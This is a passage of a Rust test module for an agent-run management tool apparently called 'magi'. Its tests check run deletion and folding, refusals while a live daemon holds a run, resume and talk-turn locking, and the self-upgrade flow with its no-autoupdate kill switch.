14008 assert!(res.body.is_empty(), "204 has no body");
14009 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14010
14011 let run_running = "20260901-000000-rung";
14016 write_run(&runs, run_running, RunStatus::Prep);
14017 let mut beat = crate::daemon::Status::new();
14018 beat.current = vec![crate::daemon::Current {
14019 task: "20260901-000000-task".to_owned(),
14020 run: run_running.to_owned(),
14021 }];
14022 beat.updated_at = jiff::Timestamp::now();
14023 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14024 .expect("publish a heartbeat");
14025 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14026 assert_eq!(res.status, 409);
14027 assert!(
14028 res.json()["error"]
14029 .as_str()
14030 .unwrap()
14031 .contains("live daemon"),
14032 "the refusal must say who is holding it"
14033 );
14034 assert!(
14035 runs.join(run_running).exists(),
14036 "a run in flight keeps its directory"
14037 );
14038
14039 let run_unfolded = "20260901-000000-unfd";
14041 let mut state2 = RunState::new(
14042 PathBuf::from("/repo"),
14043 "main".to_owned(),
14044 "abc".to_owned(),
14045 "instruction".to_owned(),
14046 Config::default(),
14047 );
14048 state2.id = run_unfolded.to_owned();
14049 state2.status = RunStatus::Ready;
14050 state2.candidates.push(crate::run::Candidate {
14051 index: 0,
14052 label: 'A',
14053 agent: "a".to_owned(),
14054 branch: "b".to_owned(),
14055 worktree: PathBuf::from("/w"),
14056 summary: String::new(),
14057 stat: String::new(),
14058 files: 1,
14059 commits: 1,
14060 empty: false,
14061 failed: None,
14062 verified_noop: None,
14063 duration_ms: 0,
14064 folded: false,
14065 });
14066 let dir2 = runs.join(run_unfolded);
14067 std::fs::create_dir_all(&dir2).expect("create dir2");
14068 std::fs::write(
14069 dir2.join("run.json"),
14070 serde_json::to_string(&state2).unwrap(),
14071 )
14072 .expect("write run.json");
14073
14074 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14075 assert_eq!(res.status, 409);
14076 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14077 assert!(dir2.exists(), "unfolded run directory is kept");
14078
14079 let res = fx.delete("/api/runs/nonexistent").await;
14081 assert_eq!(res.status, 404);
14082 }
14083
14084 #[test]
14093 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14094 let start = APP_JS
14095 .find("function renderStats() {")
14096 .expect("renderStats");
14097 let end = start
14098 + APP_JS[start..]
14099 .find("function statsTile(")
14100 .expect("the next top-level function");
14101 let body = &APP_JS[start..end];
14102
14103 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14104 let gate_end = gate_start
14105 + body[gate_start..]
14106 .find("}\n renderStatsQueue")
14107 .expect("the gate's own closing brace, right before the unconditional call");
14108 let gated = &body[gate_start..gate_end];
14109
14110 assert_eq!(
14111 body.matches("renderStatsQueue(").count(),
14112 1,
14113 "renderStats must call renderStatsQueue exactly once: {body}"
14114 );
14115 assert!(
14116 !gated.contains("renderStatsQueue"),
14117 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14118 run-derived panels on an empty run history - the queue panel has to render \
14119 regardless: {gated}"
14120 );
14121 }
14122
14123 #[test]
14124 fn web_ui_delete_contract_in_front_end() {
14125 assert!(APP_JS.contains("deleteRun:"));
14127 assert!(APP_JS.contains("deleteTask:"));
14128
14129 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14131 ..APP_JS.find("function renderRuns").unwrap()];
14132 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14133
14134 assert!(APP_JS.contains("renderRunDelete"));
14136 assert!(APP_JS.contains("runDeleteReason"));
14137 assert!(APP_JS.contains("magi fold"));
14138 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14139
14140 assert!(APP_JS.contains("cancel.focus"));
14142 assert!(APP_JS.contains("armedRunDelete"));
14143 assert!(APP_JS.contains("renderTaskDeleteBox"));
14144 assert!(APP_JS.contains("armed${cap(key)}"));
14145
14146 assert!(APP_JS.contains("disabled: status === \"running\""));
14148 }
14149
14150 #[test]
14170 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14171 let build = APP_JS
14172 .find("function createRunCard")
14173 .expect("createRunCard exists");
14174 let update = APP_JS
14175 .find("function updateRunCard")
14176 .expect("updateRunCard exists");
14177 let end = APP_JS
14178 .find("function renderRuns")
14179 .expect("renderRuns exists");
14180
14181 let builder = &APP_JS[build..update];
14183 let open = builder.find("refs = {").expect("createRunCard sets refs");
14184 let literal = &builder[open + "refs = {".len()..];
14185 let close = literal.find('}').expect("the refs literal is closed");
14186 let published: HashSet<&str> = literal[..close]
14187 .split(',')
14188 .filter_map(|entry| entry.split(':').next())
14190 .map(str::trim)
14191 .filter(|name| !name.is_empty())
14192 .collect();
14193 assert!(
14194 published.len() > 5,
14195 "the refs literal did not parse into names: {published:?}"
14196 );
14197
14198 let mut used: Vec<&str> = Vec::new();
14201 let updaters = &APP_JS[update..end];
14202 for (at, _) in updaters.match_indices("r.") {
14203 let before = updaters[..at].chars().next_back();
14206 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14207 continue;
14208 }
14209 let rest = &updaters[at + 2..];
14210 let len = rest
14211 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14212 .unwrap_or(rest.len());
14213 if len > 0 {
14214 used.push(&rest[..len]);
14215 }
14216 }
14217 assert!(
14218 used.len() > 5,
14219 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14220 );
14221
14222 let missing: Vec<&str> = used
14223 .iter()
14224 .copied()
14225 .filter(|name| !published.contains(name))
14226 .collect();
14227 assert!(
14228 missing.is_empty(),
14229 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14230 never put in `refs` - every card will throw and the list will \
14231 render empty under a count line that says otherwise. Published: \
14232 {published:?}"
14233 );
14234 }
14235
14236 #[tokio::test]
14237 async fn folding_from_the_phone_reports_what_it_removed() {
14238 let fx = Fixture::start().await;
14239 let runs = fx.runs();
14240
14241 let id = "20260901-000000-fold";
14245 write_run(&runs, id, RunStatus::Stalled);
14246 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14247 assert_eq!(res.status, 200);
14248 assert_eq!(res.json()["removed_count"], 0);
14249 assert_eq!(res.json()["run"], id);
14250 assert!(
14251 runs.join(id).exists(),
14252 "a fold keeps the run's record; only the worktrees go"
14253 );
14254 }
14255
14256 #[tokio::test]
14257 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14258 let fx = Fixture::start().await;
14259 let runs = fx.runs();
14260 let wt = fx.home.path().join("wt").join("magi").join("dead");
14261 let id = "20260901-000000-dead";
14262 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14263 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14264 std::fs::create_dir_all(&wt).expect("worktree dir");
14265
14266 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14267 assert_eq!(res.status, 200, "{}", res.body);
14268 assert!(
14269 res.json()["removed_count"].as_u64().unwrap() > 0,
14270 "the worktree this build could not read a state for still went"
14271 );
14272 assert!(
14273 !runs.join(id).exists(),
14274 "an unreadable run has no candidate list to fold selectively, so \
14275 the whole record goes - same as `magi fold` on the CLI"
14276 );
14277 }
14278
14279 #[tokio::test]
14280 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14281 let fx = Fixture::start().await;
14282 let runs = fx.runs();
14283 let wt = fx.home.path().join("wt").join("magi").join("gone");
14284 let id = "20260901-000000-gone";
14285 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14286 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14287 std::fs::create_dir_all(&wt).expect("worktree dir");
14288
14289 let res = fx.delete(&format!("/api/runs/{id}")).await;
14290 assert_eq!(res.status, 204, "{}", res.body);
14291 assert!(!runs.join(id).exists(), "the broken record is gone");
14292 assert!(!wt.exists(), "its worktree is gone too");
14293 }
14294
14295 #[tokio::test]
14296 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14297 let fx = Fixture::start().await;
14298 let runs = fx.runs();
14299 let id = "20260901-000000-live";
14300 write_run(&runs, id, RunStatus::Implementing);
14301
14302 let mut beat = crate::daemon::Status::new();
14303 beat.current = vec![crate::daemon::Current {
14304 task: "20260901-000000-task".to_owned(),
14305 run: id.to_owned(),
14306 }];
14307 beat.updated_at = jiff::Timestamp::now();
14308 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14309 .expect("publish a heartbeat");
14310
14311 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14312 assert_eq!(res.status, 409);
14313 assert!(
14314 res.json()["error"]
14315 .as_str()
14316 .unwrap()
14317 .contains("live daemon"),
14318 "folding under a running agent would pull its worktree away"
14319 );
14320 }
14321
14322 #[tokio::test]
14323 async fn fold_merged_requires_a_pr_url() {
14324 let fx = Fixture::start().await;
14325 let runs = fx.runs();
14326 let id = "20260901-000000-nourl";
14327 write_run(&runs, id, RunStatus::Blocked);
14328
14329 let res = fx
14330 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14331 .await;
14332 assert_eq!(res.status, 400, "{}", res.body);
14333
14334 let blank = fx
14335 .post(
14336 &format!("/api/runs/{id}/fold-merged"),
14337 Some(r#"{"pr_url":" "}"#),
14338 )
14339 .await;
14340 assert_eq!(blank.status, 400, "{}", blank.body);
14341 }
14342
14343 #[tokio::test]
14344 async fn fold_merged_is_404_for_an_unknown_run() {
14345 let fx = Fixture::start().await;
14346 let res = fx
14347 .post(
14348 "/api/runs/nosuchrun/fold-merged",
14349 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14350 )
14351 .await;
14352 assert_eq!(res.status, 404, "{}", res.body);
14353 }
14354
14355 #[tokio::test]
14356 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14357 let fx = Fixture::start().await;
14358 let runs = fx.runs();
14359 let id = "20260901-000000-livemerge";
14360 write_run(&runs, id, RunStatus::Blocked);
14361
14362 let mut beat = crate::daemon::Status::new();
14363 beat.current = vec![crate::daemon::Current {
14364 task: "20260901-000000-task".to_owned(),
14365 run: id.to_owned(),
14366 }];
14367 beat.updated_at = jiff::Timestamp::now();
14368 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14369 .expect("publish a heartbeat");
14370
14371 let res = fx
14372 .post(
14373 &format!("/api/runs/{id}/fold-merged"),
14374 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14375 )
14376 .await;
14377 assert_eq!(res.status, 409, "{}", res.body);
14378 assert!(
14379 res.json()["error"]
14380 .as_str()
14381 .unwrap()
14382 .contains("live daemon"),
14383 "correcting a run's merge underneath a running agent would race \
14384 whatever it is doing to the same `status`/`merge` fields"
14385 );
14386 }
14387
14388 #[tokio::test]
14393 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14394 let fx = Fixture::start().await;
14395 let runs = fx.runs();
14396 let id = "20260901-000000-unconfirmed";
14397 write_run(&runs, id, RunStatus::Blocked);
14398
14399 let res = fx
14400 .post(
14401 &format!("/api/runs/{id}/fold-merged"),
14402 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14403 )
14404 .await;
14405 assert_eq!(res.status, 400, "{}", res.body);
14406 assert_eq!(
14407 read_run(&runs, id).unwrap().status,
14408 RunStatus::Blocked,
14409 "a pull request that could not be confirmed merged must leave \
14410 the run exactly where it was"
14411 );
14412 }
14413
14414 #[tokio::test]
14415 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14416 let fx = Fixture::start().await;
14417 let runs = fx.runs();
14418
14419 for (status, word) in [
14425 (RunStatus::Merged, "merged"),
14426 (RunStatus::Ready, "ready"),
14427 (RunStatus::Failed, "failed"),
14428 ] {
14429 let id = format!("20260901-000000-{}", &word[..4]);
14430 write_run(&runs, &id, status);
14431 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14432 assert_eq!(res.status, 409, "{word} must not be resumable");
14433 let err = res.json()["error"].as_str().unwrap().to_owned();
14434 assert!(err.contains(word), "the refusal names the status: {err}");
14435 }
14436
14437 let mid = "20260901-000000-midf";
14442 write_run(&runs, mid, RunStatus::Reviewing);
14443 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14444 assert_eq!(res.status, 202, "an interrupted run is resumable");
14445 }
14446
14447 #[tokio::test]
14448 async fn resume_is_refused_while_the_loop_is_running() {
14449 let fx = Fixture::start().await;
14450 let runs = fx.runs();
14451 let stalled = "20260901-000000-stal";
14452 write_run(&runs, stalled, RunStatus::Stalled);
14453
14454 let mut beat = crate::daemon::Status::new();
14458 beat.current = vec![crate::daemon::Current {
14459 task: "20260901-000000-task".to_owned(),
14460 run: "20260901-000000-othr".to_owned(),
14461 }];
14462 beat.updated_at = jiff::Timestamp::now();
14463 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14464 .expect("publish a heartbeat");
14465
14466 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14467 assert_eq!(res.status, 409);
14468 let err = res.json()["error"].as_str().unwrap().to_owned();
14469 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14470 assert!(err.contains("stop it first"), "{err}");
14471 }
14472
14473 #[test]
14474 fn a_run_cannot_be_resumed_twice_at_once() {
14475 let home = TempDir::new().expect("temp home");
14476 let ui = Ui::new(
14477 Queue::at(home.path().join("queue")),
14478 Questions::at(home.path().join("questions")),
14479 Talks::at(home.path().join("talks")),
14480 home.path().join("runs"),
14481 home.path().to_path_buf(),
14482 PathBuf::from("/repo"),
14483 )
14484 .with_worktrees_root(home.path().join("wt"));
14485 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14486 let again = ui.begin_resume("20260901-000000-once");
14487 assert!(again.is_err(), "a second tap must not start a second graph");
14488 drop(first);
14489 assert!(
14490 ui.begin_resume("20260901-000000-once").is_ok(),
14491 "and the claim is released when the attempt ends"
14492 );
14493 }
14494
14495 #[test]
14496 fn talk_thinking_tracks_only_its_held_turn_claim() {
14497 let home = TempDir::new().expect("temp home");
14498 let ui = Ui::new(
14499 Queue::at(home.path().join("queue")),
14500 Questions::at(home.path().join("questions")),
14501 Talks::at(home.path().join("talks")),
14502 home.path().join("runs"),
14503 home.path().to_path_buf(),
14504 PathBuf::from("/repo"),
14505 )
14506 .with_worktrees_root(home.path().join("wt"));
14507 let id = "20260901-000000-once";
14508
14509 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14510 let turn = ui.begin_talk_turn(id).expect("claim turn");
14511 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14512 assert!(
14513 !ui.is_thinking("20260901-000000-other"),
14514 "one talk's turn does not make another talk busy"
14515 );
14516 drop(turn);
14517 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14518 }
14519
14520 #[test]
14521 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14522 let home = TempDir::new().expect("temp home");
14523 let talks = Talks::at(home.path().join("talks"));
14524 let ui = Ui::new(
14525 Queue::at(home.path().join("queue")),
14526 Questions::at(home.path().join("questions")),
14527 talks.clone(),
14528 home.path().join("runs"),
14529 home.path().to_path_buf(),
14530 PathBuf::from("/repo"),
14531 )
14532 .with_worktrees_root(home.path().join("wt"));
14533 let id = "20260901-000000-cross";
14534
14535 let other = Talks::at(home.path().join("talks"))
14536 .claim_turn(id)
14537 .expect("claim")
14538 .expect("the other process wins");
14539 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14540 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14541 assert!(
14542 matches!(
14543 ui.begin_talk_turn_unless_pending(id).expect("start"),
14544 TalkTurnStart::Foreign
14545 ),
14546 "a foreign holder is refused, not queued behind"
14547 );
14548 assert!(
14549 !ui.talk_turns.lock().unwrap().live.contains(id),
14550 "a refused claim leaves no in-process entry behind"
14551 );
14552 drop(other);
14553 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14554 assert!(talks.turn_held(id), "the web turn holds the lease");
14555 drop(turn);
14556 assert!(
14557 !talks.turn_held(id),
14558 "dropping the guard releases the lease"
14559 );
14560 }
14561
14562 #[test]
14563 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14564 let home = TempDir::new().expect("temp home");
14565 let talks = Talks::at(home.path().join("talks"));
14566 let ui = Ui::new(
14567 Queue::at(home.path().join("queue")),
14568 Questions::at(home.path().join("questions")),
14569 talks.clone(),
14570 home.path().join("runs"),
14571 home.path().to_path_buf(),
14572 PathBuf::from("/repo"),
14573 )
14574 .with_worktrees_root(home.path().join("wt"));
14575 let id = "20260901-000000-order";
14576 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14577 let slots = ui.talk_turns.lock().unwrap();
14579 let dropper = std::thread::spawn(move || drop(turn));
14580 let start = std::time::Instant::now();
14581 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14582 std::thread::sleep(Duration::from_millis(5));
14583 }
14584 assert!(!talks.turn_held(id), "the lease is released first");
14585 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14586 drop(slots);
14587 dropper.join().expect("join");
14588 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14589 }
14590
14591 #[tokio::test]
14592 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14593 let fx = Fixture::start().await;
14594 let mut beat = crate::daemon::Status::new();
14598 beat.pid = 4321;
14599 beat.updated_at = jiff::Timestamp::now();
14600 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14601 .expect("publish a heartbeat");
14602
14603 let res = fx.post("/api/upgrade", None).await;
14604 assert_eq!(res.status, 409);
14605 let err = res.json()["error"].as_str().unwrap().to_owned();
14606 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14607 assert!(err.contains("old one against the same queue"), "{err}");
14608 }
14609
14610 #[test]
14617 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14618 assert!(!should_spawn_recheck(&crate::config::Update {
14619 mode: UpdateMode::Off,
14620 interval: None,
14621 }));
14622
14623 unsafe {
14626 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14627 }
14628 let killed = should_spawn_recheck(&crate::config::Update {
14629 mode: UpdateMode::Notify,
14630 interval: None,
14631 });
14632 unsafe {
14633 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14634 }
14635 assert!(
14636 !killed,
14637 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14638 one-time startup check"
14639 );
14640
14641 assert!(should_spawn_recheck(&crate::config::Update {
14642 mode: UpdateMode::Notify,
14643 interval: None,
14644 }));
14645 }
14646
14647 #[test]
14653 fn recheck_poll_period_tracks_a_short_configured_interval() {
14654 let short = crate::config::Update {
14655 mode: UpdateMode::Notify,
14656 interval: Some("1m".to_owned()),
14657 };
14658 let period = recheck_poll_period(&short);
14659 assert!(
14660 period <= Duration::from_secs(30),
14661 "a one-minute interval must wake the task far sooner than the \
14662 default ceiling, or the deck would not notice within the \
14663 interval the operator configured: got {period:?}"
14664 );
14665
14666 let default = crate::config::Update {
14667 mode: UpdateMode::Notify,
14668 interval: None,
14669 };
14670 assert_eq!(
14671 recheck_poll_period(&default),
14672 UPDATE_RECHECK_POLL_MAX,
14673 "the default day-long interval should poll at the (capped) \
14674 ceiling rather than needlessly often"
14675 );
14676 }
14677
14678 #[test]
14686 fn recheck_skips_the_network_before_the_interval_elapses() {
14687 let dir = TempDir::new().expect("temp dir");
14688 let path = dir.path().join("state.json");
14689 let state = kaishin::UpdateCheckState {
14690 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14691 last_known_latest: None,
14692 last_known_url: None,
14693 };
14694 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14695
14696 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14697 assert!(
14698 !update_recheck_due(&checker, None),
14699 "a check made moments ago must not be repeated before the \
14700 configured interval elapses"
14701 );
14702 }
14703
14704 #[test]
14710 fn recheck_defers_to_an_upgrade_already_in_flight() {
14711 let dir = TempDir::new().expect("temp dir");
14712 let path = dir.path().join("state.json");
14713 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14714 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14715
14716 assert!(
14717 !update_recheck_due(&checker, Some(&progress)),
14718 "a recheck must not run while an upgrade this deck started is \
14719 still moving"
14720 );
14721 }
14722
14723 #[tokio::test]
14724 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14725 unsafe {
14737 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14738 }
14739 let fx = Fixture::start().await;
14740 let res = fx.post("/api/upgrade", None).await;
14741 unsafe {
14742 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14743 }
14744 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14745 let body = res.json();
14746 assert!(body["to"].is_null(), "there was no release to move to");
14747 assert!(body["parked"].is_null(), "and nothing was parked");
14748 assert!(
14749 body["detail"]
14750 .as_str()
14751 .unwrap()
14752 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14753 "{body:?}"
14754 );
14755 }
14756
14757 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14758 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14759 p.stage = stage;
14760 p
14761 }
14762
14763 #[test]
14764 fn busy_stages_match_the_ui_set() {
14765 use crate::updater::Stage;
14766 assert!(APP_JS.contains(
14767 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14768 ));
14769 for s in [
14770 Stage::Downloading,
14771 Stage::Replaced,
14772 Stage::Parking,
14773 Stage::Restarting,
14774 ] {
14775 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14776 }
14777 for s in [Stage::Done, Stage::Failed] {
14778 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14779 }
14780 assert!(upgrade_in_motion(None).is_none());
14781 }
14782
14783 #[tokio::test]
14784 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14785 use crate::updater::Stage;
14786 for stage in [
14787 Stage::Downloading,
14788 Stage::Replaced,
14789 Stage::Parking,
14790 Stage::Restarting,
14791 ] {
14792 let fx = Fixture::start().await;
14793 let seeded = seeded_progress(stage);
14794 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14795 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14796 .expect("read");
14797
14798 let res = fx.post("/api/upgrade", None).await;
14799 assert_eq!(res.status, 409, "{stage:?}");
14800 let err = res.json()["error"].as_str().unwrap().to_owned();
14801 assert!(err.contains("already in progress"), "{err}");
14802 assert!(err.contains(stage.as_str()), "{err}");
14803
14804 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14805 .expect("read");
14806 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14807 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14808 .unwrap_or_default();
14809 assert!(!log.contains("signalling HANDOVER"), "{log}");
14810 }
14811 }
14812
14813 #[tokio::test]
14814 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14815 use crate::updater::Stage;
14816 let repo = TempDir::new().expect("repo dir");
14817 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14818 .expect("write magi.toml");
14819 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14820 for stage in [Stage::Done, Stage::Failed] {
14821 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14822 let res = fx.post("/api/upgrade", None).await;
14823 assert_eq!(res.status, 200, "{stage:?}");
14824 }
14825 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14827 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14828 }
14829
14830 #[tokio::test]
14831 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14832 let repo = TempDir::new().expect("repo dir");
14848 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14849 .expect("write magi.toml");
14850 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14851
14852 let res = fx.post("/api/upgrade", None).await;
14858 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14859 let body = res.json();
14860 assert!(body["to"].is_null(), "there was no release to move to");
14861 assert!(body["parked"].is_null(), "and nothing was parked");
14862 assert!(
14863 body["detail"]
14864 .as_str()
14865 .unwrap()
14866 .contains("nothing restarted"),
14867 "{body:?}"
14868 );
14869 }
14870
14871 #[tokio::test]
14872 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14873 let repo = TempDir::new().expect("repo dir");
14878 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14879 .expect("write magi.toml");
14880 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14881
14882 let health = fx.get("/api/health").await.json();
14883 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14884 assert_eq!(
14885 health["update"]["available"], false,
14886 "checking is off, which reads as \"unknown\", not \"none\""
14887 );
14888 assert!(health["update"]["to"].is_null());
14889 assert!(
14890 health["upgrade"].is_null(),
14891 "nothing has ever asked this deck to upgrade"
14892 );
14893 }
14894
14895 #[tokio::test]
14896 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14897 let fx = Fixture::start().await;
14898 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14899
14900 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14901 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14902 progress.advance(crate::updater::Stage::Parking);
14903 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14904
14905 let health = fx.get("/api/health").await.json();
14906 assert_eq!(health["upgrade"]["stage"], "parking");
14907 assert_eq!(health["upgrade"]["from"], "0.5.1");
14908 assert_eq!(health["upgrade"]["to"], "0.5.2");
14909 let waiting_on = health["upgrade"]["waiting_on"]
14910 .as_str()
14911 .expect("waiting_on is set while parking a known run");
14912 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14913 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14914 }
14915
14916 #[tokio::test]
14917 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14918 let fx = Fixture::start().await;
14919 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14920 progress.advance(crate::updater::Stage::Done);
14921 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14922
14923 let health = fx.get("/api/health").await.json();
14924 assert_eq!(health["upgrade"]["stage"], "done");
14925 assert!(
14926 health["upgrade"]["waiting_on"].is_null(),
14927 "nothing to wait on once it is done"
14928 );
14929 }
14930
14931 #[tokio::test]
14932 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14933 let home = TempDir::new().expect("temp home");
14934 let runs = home.path().join("runs");
14935 std::fs::create_dir_all(&runs).expect("runs dir");
14936 let ui = Ui::new(
14937 Queue::at(home.path().join("queue")),
14938 Questions::at(home.path().join("questions")),
14939 Talks::at(home.path().join("talks")),
14940 runs,
14941 home.path().to_path_buf(),
14942 PathBuf::from("/repo/magi"),
14943 )
14944 .with_launch(launch_idle);
14945 let looping = ui.looping();
14946 let turns = ui.turns();
14947 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14948 .await
14949 .expect("bind loopback");
14950 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14951
14952 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14953 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14954
14955 hand_over(
14956 home.path(),
14957 &looping,
14958 &turns,
14959 &|_: &[String]| Duration::from_secs(5),
14960 served,
14961 |_| Ok(1),
14962 )
14963 .await
14964 .expect("hand over");
14965
14966 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14967 assert_eq!(
14968 after.stage,
14969 crate::updater::Stage::Restarting,
14970 "hand_over owns the record through parking and up to restarting; \
14971 the successor is what finishes it"
14972 );
14973 }
14974
14975 #[tokio::test]
14978 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14979 for fail in [false, true] {
14980 let home = TempDir::new().expect("temp home");
14981 let ui = idle_ui(&home);
14982 let looping = ui.looping();
14983 let turns = ui.turns();
14984 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14985 .await
14986 .expect("bind loopback");
14987 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14988 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14989 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14990
14991 let calls = std::sync::atomic::AtomicUsize::new(0);
14992 let outcome = hand_over(
14993 home.path(),
14994 &looping,
14995 &turns,
14996 &|_: &[String]| Duration::from_secs(5),
14997 served,
14998 |_| {
14999 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15000 if fail {
15001 anyhow::bail!("no exec")
15002 } else {
15003 Ok(4242)
15004 }
15005 },
15006 )
15007 .await;
15008 assert_eq!(outcome.is_err(), fail);
15009 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15010
15011 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15012 .expect("upgrade.log is written under the home");
15013 for step in [
15014 "entered",
15015 "finish_loop",
15016 "listener released",
15017 "starting the successor",
15018 ] {
15019 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15020 }
15021 assert!(
